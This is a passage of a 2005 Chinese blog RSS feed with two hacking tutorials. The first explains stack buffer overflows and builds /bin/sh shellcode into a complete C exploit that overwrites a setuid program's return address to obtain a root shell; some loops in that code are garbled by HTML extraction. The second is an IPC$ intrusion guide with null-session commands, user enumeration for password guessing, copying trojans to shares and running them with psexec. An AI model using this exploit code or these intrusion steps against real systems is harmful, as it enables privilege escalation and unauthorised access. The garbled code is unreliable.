Northcutt著.余青霓等译.人民邮电出版社,2000.3<BR>[2] C语言疑难问题解析. 严桂兰,刘甲耀编著.华东华工学院出版社,1993,1.<BR>[3] 网络最高安全技术指南. 王锐等译.机械工业出版社,1998,5. </P><img src ="http://www.blogjava.net/RR00/aggbug/23035.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-08 21:02 <a href="http://www.blogjava.net/RR00/articles/23035.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>溢出基础，溢出原理</title><link>http://www.blogjava.net/RR00/articles/22987.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Thu, 08 Dec 2005 07:18:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/22987.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/22987.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/22987.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/22987.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/22987.html</trackback:ping><description><![CDATA[<FONT style="BACKGROUND-COLOR: #d3d3d3">一：基础知识 <BR>计算机内存运行分配的区域分为3个 <BR>程序段区域：不允许写的 <BR>数据段区域：静态全局变量是位于数据段并且在程序开始运行的时候被加载 <BR>堆栈区域：放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地 <BR>址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的xx作push＝ ESP－4，出栈的xx作是pop=ESP+4. 在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，接下来，就在 堆栈中开辟相应的</FONT><A class=Channel_KeyLink href="http://idc.77169.com/"><FONT style="BACKGROUND-COLOR: #d3d3d3">空间</FONT></A><FONT style="BACKGROUND-COLOR: #d3d3d3">以构造变量。函数执行结束，这些局部变量的内容将被丢失。但是不被清除。在函 数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 <BR>在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c）。在参数入栈的时候，是：先压c，再压 b,最后a.在取参数的时候， <BR>指令执行的图例： <BR>指令区域 <BR>执行程序区 <BR>0 1 2 3 <BR>0 <BR>4 <BR>8 调用100处的函数，参数1（3位），2（10位） <BR>C <BR>10 0 1 2 3 <BR>100 执行处理 <BR>104 <BR>108 <BR>10C <BR>110 返回调用 堆栈区域 <BR>0 1 2 3 <BR>如果EBP分配的</FONT><A class=Channel_KeyLink href="http://idc.77169.com/"><FONT style="BACKGROUND-COLOR: #d3d3d3">空间</FONT></A><FONT style="BACKGROUND-COLOR: #d3d3d3">不够xx作就是产生溢出的地方 <BR>200 保存以前的EBP4位（数据段的指针，用于可以使用局部动态 <BR>变量）现在的EBP等于当前的ESP-动态数据的大小值 ， <BR>ESP=200 <BR>204 0C 00 00 00 <BR>此处是程序的返回地址 <BR>208 参数1，填充1位 <BR>20C 参数2填充2位 <BR>210 <BR>讲解例子WIN下的程序DEMO，演示参数导致的返回地址的变化 <BR>讲清主要4位的填充问题 <BR>另外溢出还会导致数据段的改变 3：如何利用堆栈溢出 <BR>原理可以概括为：由于字符串处理函数（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用 字符数组写越界，覆盖堆栈中的老元素的值，就可以修改返回地址。 在DEMO的例子中，这导致CPU去访问 一个不存在的指令，结果出错。事实上，我们已经完全的控制了这个程序下一步的动作。如果我们用一个 实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令。 那么有什么用呢，就算使得我们的程序可以跳转执行一些代码，如何用他来突破系统限制来获得权限呢？ 二：系统权限知识 <BR>UNIX系统在运行的时候的权限检查主要是根据UID，GID，SID 三个标来检查的，主要根据SID来检查权限 <BR>SU系统调用就是SID变成SU的对象 <BR>S粘贴位使得运行程序的人具有该程序拥有者一样的权限 <BR>中断ROOT的S粘贴位的程序就可以获得超级用户的权限，SID位置没被调用返回修改回来。 <BR>VI的S粘贴位可以中断的例子 在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢出的程序相同的权限。 如果这个程序是setuid的，那么我们就可以获得root shell。 三：溢出突破权限的实现 <BR>首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入： <BR>shellcode的C程序 注意：execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的 argv[i]（argv[n-1]=0）的指针数组作为第二个参数，以及(char*) 0作为第三个参数。 <BR>我们来看以看execve的汇编代码： <BR>0x804ce7c &lt;__execve&gt;: push %ebp ‘保存以前的数据段地址 <BR>0x804ce7d &lt;__execve+1&gt;: mov %esp,%ebp ‘使得当前数据段指向堆栈 <BR>0x804ce7f &lt;__execve+3&gt;: push %edi <BR>0x804ce80 &lt;__execve+4&gt;: push %ebx ‘保存 <BR>0x804ce81 &lt;__execve+5&gt;: mov 0x8(%ebp),%edi ‘ebp+8是第一个参数"/bin/sh\0" <BR>0x804ce84 &lt;__execve+8&gt;: mov $0x0,%eax ‘清0 <BR>0x804ce89 &lt;__execve+13&gt;: test %eax,%eax <BR>0x804ce8b &lt;__execve+15&gt;: je 0x804ce92 &lt;__execve+22&gt; <BR>0x804ce8d &lt;__execve+17&gt;: call 0x0 <BR>0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数，4字节对齐 <BR>0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx，设置NAME[1]参数，4字节对齐 <BR>0x804ce98 &lt;__execve+28&gt;: push %ebx <BR>0x804ce99 &lt;__execve+29&gt;: mov %edi,%ebx <BR>0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax ‘设置XB号调用 <BR>0x804cea0 &lt;__execve+36&gt;: int $0x80 ‘调用执行 <BR>0x804cea2 &lt;__execve+38&gt;: pop %ebx <BR>0x804cea3 &lt;__execve+39&gt;: mov %eax,%ebx <BR>0x804cea5 &lt;__execve+41&gt;: cmp $0xfffff000,%ebx <BR>0x804ceab &lt;__execve+47&gt;: jbe 0x804cebb &lt;__execve+63&gt; <BR>0x804cead &lt;__execve+49&gt;: call 0x8048324 &lt;__errno_location&gt; <BR>0x804ceb2 &lt;__execve+54&gt;: neg %ebx <BR>0x804ceb4 &lt;__execve+56&gt;: mov %ebx,(%eax) <BR>0x804ceb6 &lt;__execve+58&gt;: mov $0xffffffff,%ebx <BR>0x804cebb &lt;__execve+63&gt;: mov %ebx,%eax <BR>0x804cebd &lt;__execve+65&gt;: lea 0xfffffff8(%ebp),%esp <BR>0x804cec0 &lt;__execve+68&gt;: pop %ebx <BR>0x804cec1 &lt;__execve+69&gt;: pop %edi <BR>0x804cec2 &lt;__execve+70&gt;: leave <BR>0x804cec3 &lt;__execve+71&gt;: ret 精练的调用方法是 <BR>0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数，4字节对齐 <BR>0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx，设置NAME[1]参数，4字节对齐 <BR>0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax ‘设置XB号调用 <BR>0x804cea0 &lt;__execve+36&gt;: int $0x80 ‘调用执行 另外要执行一个exit（）系统调用，结束shellcode的执行。 <BR>0x804ce60 &lt;_exit&gt;: mov %ebx,%edx <BR>0x804ce62 &lt;_exit+2&gt;: mov 0x4(%esp,1),%ebx 设置参数0 <BR>0x804ce66 &lt;_exit+6&gt;: mov $0x1,%eax ‘1号调用 <BR>0x804ce6b &lt;_exit+11&gt;: int $0x80 <BR>0x804ce6d &lt;_exit+13&gt;: mov %edx,%ebx <BR>0x804ce6f &lt;_exit+15&gt;: cmp $0xfffff001,%eax <BR>0x804ce74 &lt;_exit+20&gt;: jae 0x804d260 &lt;__syscall_error&gt; 那么总结一下，合成的汇编代码为： <BR>mov 0xc(%ebp),%ecx <BR>mov 0x10(%ebp),%edx <BR>mov $0xb,%eax <BR>int $0x80 <BR>mov 0x4(%esp,1),%ebx <BR>mov $0x1,%eax <BR>int $0x80 但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用，如何来分配和定位字符串“ /bin/sh”,还得有一个name数组。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢 ？每一次程序都是动态加载，字符串和name数组的地址都不是固定的。 <BR>利用call压入下一条语句的返回地址，把数据作为下一条指令我们就可以达到目的。 <BR>Jmp CALL <BR>Popl %esi ‘利用CALL弹出压入的下一条语句的地址，其实就是我们构造的字符串的地址 <BR>movb $0x0,0x7(%esi) ‘输入0的字符串为结尾 <BR>mov %esi,0X8 (%esi) ‘构造NAME数组，放如字串的地址作为NAME[0] <BR>mov $0x0,0xc(%esi) ‘构造NAME[1]为NULL， NAME[0]为4位地址，所以偏移为0xc <BR>mov %esi,%ebx ‘设置数据段开始的地址 <BR>leal 0x8(%esi),%ecx ‘设置参数1 <BR>leal 0xc(%esi),%edx ‘设置参数2 <BR>mov $0xb,%eax ‘设置调用号 <BR>int $0x80 ‘调用 <BR>mov $0x0,%ebx <BR>mov $0x1,%eax <BR>int $0x80 <BR>Call popl <BR>.string \"/bin/sh\" 然后通过C编译器编写MYSHELLASM.C <BR>运行出错，原因代码段不允许进行修改，但是对于我们溢出是可以的，原因在于溢出是在数据段运行的， 通过GDB查看16进制码，倒出ASCII字符写出TEST.C程序来验证MYSHELLASM可以运行 <BR>ret = (int *)&amp;ret + 2; //ret 等于main（）执行完后的返回系统的地址 <BR>//(＋2是因为：有pushl ebp ,否则加1就可以了。) 但是在堆栈溢出中，关键在于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时 候，以"\0" 为字符串结尾。遇\0就结束了写xx作。Myshell中有0X00的字符存在。 <BR>把所有赋予0的xx作用异或或者MOV已知为0的寄存器赋值来完成 <BR>jmp 0x1f <BR>popl %esi <BR>movl %esi,0x8(%esi) <BR>xorl %eax,%eax <BR>movb %eax,0x7(%esi) <BR>movl %eax,0xc(%esi) <BR>movb $0xb,%al <BR>movl %esi,%ebx <BR>leal 0x8(%esi),%ecx <BR>leal 0xc(%esi),%edx <BR>int $0x80 <BR>xorl %ebx,%ebx <BR>movl %ebx,%eax <BR>inc %eax <BR>int $0x80 <BR>call -0x24 <BR>.string \"/bin/sh\" 汇编得出的 <BR>shellcode = <BR>"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" <BR>"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" <BR>"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>我们开始来写一个攻击DEMO溢出的例子 <BR>1:把我们的shellcode提供给他，让他可以访问shellcode。 <BR>2:修改他的返回地址为shellcode的入口地址。 对于strcpy函数，我们要知道被溢出的缓冲的的地址。对于xx作系统来说，一个shell下的每一个程序的 堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址，来知道了目标程 序堆栈的开始地址。 <BR>（所有C函数的返回值都放在eax 寄存器 里面）: <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>buffer相对于堆栈开始地址的偏移，对于DEMO我们可以计算出来，但对于真正有溢出毛病的程序我们在没 有源代码和去跟踪汇编是无法计算出的，只能靠猜测了。不过，一般的程序堆栈大约是 几K 左右。为了 提高命中率，增加溢出的SHELLCODE的长度和NOP指令，NOP指令的机器码为0x90。 同时在我们的程序中允 许输入参数来调节溢出点。 <BR>#include <BR>#include <BR>#define OFFSET 0 <BR>#define RET_POSITION 120 <BR>#define RANGE 20 <BR>#define NOP 0x90 char shellcode[]= <BR>"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" <BR>"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" <BR>"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) <BR>{ <BR>__asm__("movl %esp,%eax"); <BR>} main(int argc,char **argv) <BR>{ <BR>char buff[RET_POSITION+RANGE+1],*ptr; <BR>long addr; <BR>unsigned long sp; <BR>int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; <BR>int i; if(argc&gt;1) <BR>offset=atoi(argv[1]); sp=get_sp(); <BR>addr=sp-offset; for(i=0;i *((long *)&amp;(buff[i]))=addr; for(i=0;i buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; <BR>for(i=0;i *(ptr++)=shellcode[i]; <BR>buff[bsize-1]="\0" <BR>for(i=0;i&lt;132;i++) <BR>printf("0x%08x\n",buff[i]); <BR>printf("Jump to 0x%08x\n",addr); execl("./demo","demo",buff,0); <BR>} <BR>注意，如果发现溢出允许的</FONT><A class=Channel_KeyLink href="http://idc.77169.com/"><FONT style="BACKGROUND-COLOR: #d3d3d3">空间</FONT></A><FONT style="BACKGROUND-COLOR: #d3d3d3">不足够SHELLCODE的代码，那么可以把地址放到前面去，SHELLCODE放在地 址的后面，程序进行一些改动，原理一致</FONT><img src ="http://www.blogjava.net/RR00/aggbug/22987.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-08 15:18 <a href="http://www.blogjava.net/RR00/articles/22987.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IPC$攻击详解</title><link>http://www.blogjava.net/RR00/articles/22795.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Tue, 06 Dec 2005 14:30:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/22795.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/22795.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/22795.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/22795.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/22795.html</trackback:ping><description><![CDATA[<P><FONT size=2>一 摘要<BR>二 什么是ipc$<BR>三 什么是空会话<BR>四 空会话可以做什么<BR>五 ipc$所使用的端口<BR>六 ipc管道在hack攻击中的意义<BR>七 ipc$连接失败的常见原因<BR>八 复制文件失败的原因<BR>九 关于at命令和xp对ipc$的限制<BR>十 如何打开目标的IPC$共享以及其他共享<BR>十一 一些需要shell才能完成的命令<BR>十二 入侵中可能会用到的命令<BR>十三 对比过去和现今的ipc$入侵<BR>十四 如何防范ipc$入侵<BR>十五 ipc$入侵问答精选</FONT></P>
<P><FONT size=2>一 摘要</FONT><FONT size=2><BR>注意：本文所讨论的各种情况均默认发生在win NT/2000环境下，win98将不在此次讨论之列。<BR><BR></FONT><FONT size=2><BR>二 什么是ipc$</FONT><FONT size=2><BR>IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。<BR>平时我们总能听到有人在说ipc$漏洞，ipc$漏洞，其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说，一定是指微软自己安置的那个‘后门’：空会话（Null session）。那么什么是空会话呢？</FONT></P>
<P><FONT size=2><BR>三 什么是空会话</FONT><FONT size=2><BR>在介绍空会话之前，我们有必要了解一下一个安全会话是如何建立的。<BR>在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的，建立成功的会话将成为一个安全隧道，建立双方通过它互通信息，这个过程的大致顺序如下： <BR>1）会话请求者（客户）向会话接收者（服务器）传送一个数据包，请求安全隧道的建 <BR>立； <BR>2）服务器产生一个随机的64位数（实现挑战）传送回客户； <BR>3）客户取得这个由服务器产生的64位数，用试图建立会话的帐号的口令打乱它，将结 <BR>果返回到服务器（实现响应）； <BR>4）服务器接受响应后发送给本地安全验证（LSA），LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号，核实本地发生；如果请求的帐号是一个域的帐号，响应传送到域控制器去核实。当对挑战的响应核实为正确后，一个访问令牌产生，然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。<BR>以上是一个安全会话建立的大致过程，那么空会话又如何呢？</FONT></P>
<P><FONT size=2>空会话是在没有信任的情况下与服务器建立的会话（即未提供用户名与密码），但根据WIN2000的访问控制模型，空会话的建立同样需要提供一个令牌，可是空会话在建立过程中并没有经过用户信息的认证，所以这个令牌中不包含用户信息，因此，这个会话不能让系统间发送加密信息，但这并不表示空会话的令牌中不包含安全标识符SID（它标识了用户和所属组），对于一个空会话，LSA提供的令牌的SID是S-1-5-7，这就是空会话的SID，用户名是：ANONYMOUS LOGON（这个用户名是可以在用户列表中看到的，但是是不能在SAM数据库中找到，属于系统内置的帐号），这个访问令牌包含下面伪装的组： <BR>Everyone <BR>Network<BR>在安全策略的限制下，这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢？ </FONT></P>
<P><FONT size=2><BR>四 空会话可以做什么 </FONT><FONT size=2><BR>对于NT，在默认安全设置下，借助空连接可以列举目标主机上的用户和共享，访问everyone权限的共享，访问小部分注册表等，并没有什么太大的利用价值；对2000作用更小，因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表，而且实现起来也不方便，需借助工具。<BR>从这些我们可以看到，这种非信任会话并没有多大的用处，但从一次完整的ipc$入侵来看，空会话是一个不可缺少的跳板，因为我们从它那里可以得到户列表，而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的，成功的导出用户列表大大增加了猜解的成功率，仅从这一点，足以说明空会话所带来的安全隐患，因此说空会话毫无用处的说法是不正确的。以下是空会话中能够使用的一些具体命令：</FONT></P>
<P><FONT size=2><BR>1 首先，我们先建立一个空连接（当然，这需要目标开放ipc$）<BR>命令：net use \\ip\ipc$ "" /user:""<BR>注意：上面的命令包括四个空格，net与use中间有一个空格，use后面一个，密码左右各一个空格。</FONT></P>
<P><FONT size=2><BR>2 查看远程主机的共享资源<BR>命令：net view \\ip<BR>解释：前提是建立了空连接后，用此命令可以查看远程主机的共享资源，如果它开了共享，可以得到如下面的结果，但此命令不能显示默认共享。</FONT></P>
<P><FONT size=2>在 \\*.*.*.*的共享资源<BR>资源共享名 类型 用途 注释</FONT></P>
<P><FONT size=2>-----------------------------------------------------------<BR>NETLOGON Disk Logon server share<BR>SYSVOL Disk Logon server share<BR>命令成功完成。</FONT></P>
<P><FONT size=2>3 查看远程主机的当前时间<BR>命令： net time \\ip<BR>解释：用此命令可以得到一个远程主机的当前时间。</FONT></P>
<P><FONT size=2><BR>4 得到远程主机的NetBIOS用户名列表（需要打开自己的NBT）<BR>命令：nbtstat -A ip<BR>用此命令可以得到一个远程主机的NetBIOS用户名列表，返回如下结果：</FONT></P>
<P><FONT size=2>Node IpAddress: [*.*.*.*] Scope Id: []</FONT></P>
<P><FONT size=2>NetBIOS Remote Machine Name Table</FONT></P>
<P><FONT size=2>Name Type Status<BR>---------------------------------------------<BR>SERVER &lt;00&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;00&gt; GROUP Registered<BR>OYAMANISHI-H &lt;1C&gt; GROUP Registered<BR>SERVER &lt;20&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;1B&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;1E&gt; GROUP Registered<BR>SERVER &lt;03&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;1D&gt; UNIQUE Registered<BR>..__MSBROWSE__.&lt;01&gt; GROUP Registered<BR>INet~Services &lt;1C&gt; GROUP Registered<BR>IS~SERVER......&lt;00&gt; UNIQUE Registered</FONT></P>
<P><FONT size=2>MAC Address = 00-50-8B-9A-2D-37</FONT></P>
<P><FONT size=2><BR>以上就是我们经常使用空会话做的事情，好像也能获得不少东西哟，不过要注意一点：建立IPC$连接的操作会在Event Log中留下记录，不管你是否登录成功。 好了，那么下面我们就来看看ipc$所使用的端口是什么？</FONT></P>
<P><FONT size=2><BR>五 ipc$所使用的端口</FONT><FONT size=2><BR>首先我们来了解一些基础知识：<BR>1 SMB:(Server Message Block) Windows协议族，用于文件打印共享的服务；<BR>2 NBT:(NETBios Over TCP/IP)使用137（UDP）138（UDP）139（TCP）端口实现基于TCP/IP协议的NETBIOS网络互联。<BR>3 在WindowsNT中SMB基于NBT实现，即使用139（TCP）端口；而在Windows2000中，SMB除了基于NBT实现，还可以直接通过445端口实现。</FONT></P>
<P><FONT size=2>有了这些基础知识，我们就可以进一步来讨论访问网络共享对端口的选择了：</FONT></P>
<P><FONT size=2>对于win2000客户端（发起端）来说：<BR>1 如果在允许NBT的情况下连接服务器时，客户端会同时尝试访问139和445端口，如果445端口有响应，那么就发送RST包给139端口断开连接，用455端口进行会话，当445端口无响应时，才使用139端口，如果两个端口都没有响应，则会话失败；<BR>2 如果在禁止NBT的情况下连接服务器时，那么客户端只会尝试访问445端口，如果445端口无响应，那么会话失败。</FONT></P>
<P><FONT size=2><BR>对于win2000服务器端来说：<BR>1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放（LISTENING）；<BR>2 如果禁止NBT，那么只有445端口开放。</FONT></P>
<P><FONT size=2><BR>我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见，如果远程服务器没有监听139或445端口，ipc$会话是无法建立的。</FONT></P>
<P><FONT size=2><BR>六 ipc管道在hack攻击中的意义</FONT><FONT size=2><BR>ipc管道本来是微软为了方便管理员进行远程管理而设计的，但在入侵者看来，开放ipc管道的主机似乎更容易得手。通过ipc管道，我们可以远程调用一些系统函数（大多通过工具实现，但需要相应的权限），这往往是入侵成败的关键。如果不考虑这些，仅从传送文件这一方面，ipc管道已经给了入侵者莫大的支持，甚至已经成为了最重要的传输手段，因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc管道而一筹莫展大呼救命。当然，我们也不能忽视权限在ipc管道中扮演的重要角色，想必你一定品尝过空会话的尴尬，没有权限，开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限，那么ipc管道这把双刃剑将显示出它狰狞的一面。</FONT></P>
<P><FONT size=2><BR>七 ipc$连接失败的常见原因</FONT><FONT size=2><BR>以下是一些常见的导致ipc$连接失败的原因：</FONT></P>
<P><FONT size=2>1 IPC连接是Windows NT及以上系统中特有的功能，由于其需要用到Windows NT中很多DLL函数，所以不能在Windows 9.x/Me系统中运行，也就是说只有nt/2000/xp才可以相互建立ipc$连接，98/me是不能建立ipc$连接的；</FONT></P>
<P><FONT size=2><BR>2 如果想成功的建立一个ipc$连接，就需要响应方开启ipc$共享，即使是空连接也是这样，如果响应方关闭了ipc$共享，将不能建立连接；</FONT></P>
<P><FONT size=2><BR>3 连接发起方未启动Lanmanworkstation服务（显示名为：Workstation）：它提供网络链结和通讯，没有它发起方无法发起连接请求；</FONT></P>
<P><FONT size=2><BR>4 响应方未启动Lanmanserver服务（显示名为：Server）：它提供了 RPC 支持、文件、打印以及命名管道共享，ipc$依赖于此服务，没有它主机将无法响应发起方的连接请求，不过没有它仍可发起ipc$连接；</FONT></P>
<P><FONT size=2><BR>5 响应方未启动NetLogon，它支持网络上计算机 pass-through 帐户登录身份（不过这种情况好像不多）；</FONT></P>
<P><FONT size=2><BR>6 响应方的139，445端口未处于监听状态或被防火墙屏蔽；</FONT></P>
<P><FONT size=2><BR>7 连接发起方未打开139，445端口；</FONT></P>
<P><FONT size=2><BR>8 用户名或者密码错误：如果发生这样的错误，系统将给你类似于'无法更新密码'这样的错误提示（显然空会话排除这种错误）；</FONT></P>
<P><FONT size=2><BR>9 命令输入错误：可能多了或少了空格，当用户名和密码中不包含空格时两边的双引号可以省略，如果密码为空，可以直接输入两个引号""即可；</FONT></P>
<P><FONT size=2><BR>10 如果在已经建立好连接的情况下对方重启计算机，那么ipc$连接将会自动断开，需要重新建立连接。 </FONT></P>
<P><FONT size=2><BR>另外,你也可以根据返回的错误号分析原因： </FONT></P>
<P><FONT size=2>错误号5，拒绝访问：很可能你使用的用户不是管理员权限的； <BR>错误号51，Windows无法找到网络路径：网络有问题； <BR>错误号53，找不到网络路径：ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）； <BR>错误号67，找不到网络名：你的lanmanworkstation服务未启动或者目标删除了ipc$； <BR>错误号1219，提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个ipc$，请删除再连； <BR>错误号1326，未知的用户名或错误密码：原因很明显了； <BR>错误号1792，试图登录，但是网络登录服务没有启动：目标NetLogon服务未启动；<BR>错误号2242，此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。 </FONT></P>
<P><FONT size=2><BR>八 复制文件失败的原因</FONT><FONT size=2><BR>有些朋友虽然成功的建立了ipc$连接，但在copy时却遇到了这样那样的麻烦，无法复制成功，那么导致复制失败的常见原因又有哪些呢？</FONT></P>
<P><FONT size=2><BR>1 对方未开启共享文件夹<BR>这类错误出现的最多，占到50%以上。许多朋友在ipc$连接建立成功后，甚至都不知道对方是否有共享文件夹，就进行盲目复制，结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下你想要复制的共享文件夹是否存在（用软件查看当然更好），不要认为能建立ipc$连接就一定有共享文件夹存在。</FONT></P>
<P><FONT size=2><BR>2 向默认共享复制失败<BR>这类错误也是大家经常犯的，主要有两个小方面：</FONT></P>
<P><FONT size=2>1）错误的认为能建立ipc$连接的主机就一定开启了默认共享，因而在建立完连接之后马上向c$,d$,admin$之类的默认共享复制文件，一旦对方未开启默认共享，将导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享，并不能说明默认共享一定存在。ipc$共享与默认共享是两码事，ipc$共享是一个命名管道，并不是哪个实际的文件夹，而默认共享却是实实在在的共享文件夹；</FONT></P>
<P><FONT size=2>2）由于net view \\IP 这个命令无法显示默认共享文件夹（因为默认共享带$），因此通过这个命令，我们并不能判断对方是否开启了默认共享，因此如果对方未开启默认共享，那么所有向默认共享进行的操作都不能成功；（不过大部分扫描软件在扫弱口令的同时，都能扫到默认共享目录，可以避免此类错误的发生）</FONT></P>
<P><FONT size=2>要点：请大家一定区分ipc共享，默认共享，普通共享这三者的区别：ipc共享是一个管道，并不是实际的共享文件夹；默认共享是安装时默认打开的文件夹；普通共享是我们自己开启的可以设置权限的共享文件夹。</FONT></P>
<P><FONT size=2><BR>3用户权限不够，包括四种情形：<BR>1）空连接向所有共享（默认共享和普通共享）复制时，权限是不够的；<BR>2）向默认共享复制时，在Win2000 Pro版中，只有Administrators和Backup Operators组成员才可以，在Win2000 Server版本 Server Operatros组也可以访问到这些共享目录； <BR>3）向普通共享复制时，要具有相应权限（即对方管理员事先设定的访问权限）；<BR>4）对方可以通过防火墙或安全软件的设置，禁止外部访问共享；</FONT></P>
<P><FONT size=2>注意：<BR>1 不要认为administrator就一定具有管理员权限，管理员名称是可以改的<BR>2 管理员可以访问默认共享的文件夹，但不一定能够访问普通的共享文件夹，因为管理员可以对普通的共享文件夹进行访问权限设置，如图6，管理员为D盘设置的访问权限为仅允许名为xinxin的用户对该文件夹进行完全访问，那么此时即使你拥有管理员权限，你仍然不能访问D盘。不过有意思的是，如果此时对方又开启了D$的默认共享，那么你却可以访问D$，从而绕过了权限限制，有兴趣的朋友可以自己做测试。</FONT></P>
<P><FONT size=2><BR>4被防火墙杀死或在局域网<BR>还有一种情况，那就是也许你的复制操作已经成功，但当远程运行时，被防火墙杀掉了，导致找不到文件；或者你把木马复制到了局域网内的主机，导致连接失败（反向连接的木马不会发生这种情况）。如果你没有想到这种情况，你会以为是复制上出了问题，但实际你的复制操作已经成功了，只是运行时出了问题。</FONT></P>
<P><FONT size=2><BR>呵呵，大家也知道，ipc$连接在实际操作过程中会出现各种各样的问题，上面我所总结的只是一些常见错误，没说到的，大家可以给我提个醒儿。</FONT></P>
<P><FONT size=2><BR>九 关于at命令和xp对ipc$的限制</FONT><FONT size=2><BR>本来还想说一下用at远程运行程序失败的原因，但考虑到at的成功率不是很高，问题也很多，在这里就不提它了（提的越多，用的人就越多），而是推荐大家用psexec.exe远程运行程序，假设想要远程机器执行本地c:\xinxin.exe文件，且管理员为administrator，密码为1234，那么输入下面的命令：<BR>psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe<BR>如果已经建立ipc连接，则-u -p这两个参数不需要，psexec.exe将自动拷贝文件到远程机器并运行。</FONT></P>
<P><FONT size=2>本来xp中的ipc$也不想在这里讨论，想单独拿出来讨论，但看到越来越多的朋友很急切的提问为什么遇到xp的时候，大部分操作都很难成功。我在这里就简单提一下吧，在xp的默认安全选项中，任何远程访问仅被赋予来宾权限，也就是说即使你是用管理员帐户和密码，你所得到的权限也只是Guest，因此大部分操作都会因为权限不够而失败，而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了xp的管理员密码，我建议你尽量避开ipc管道。</FONT></P>
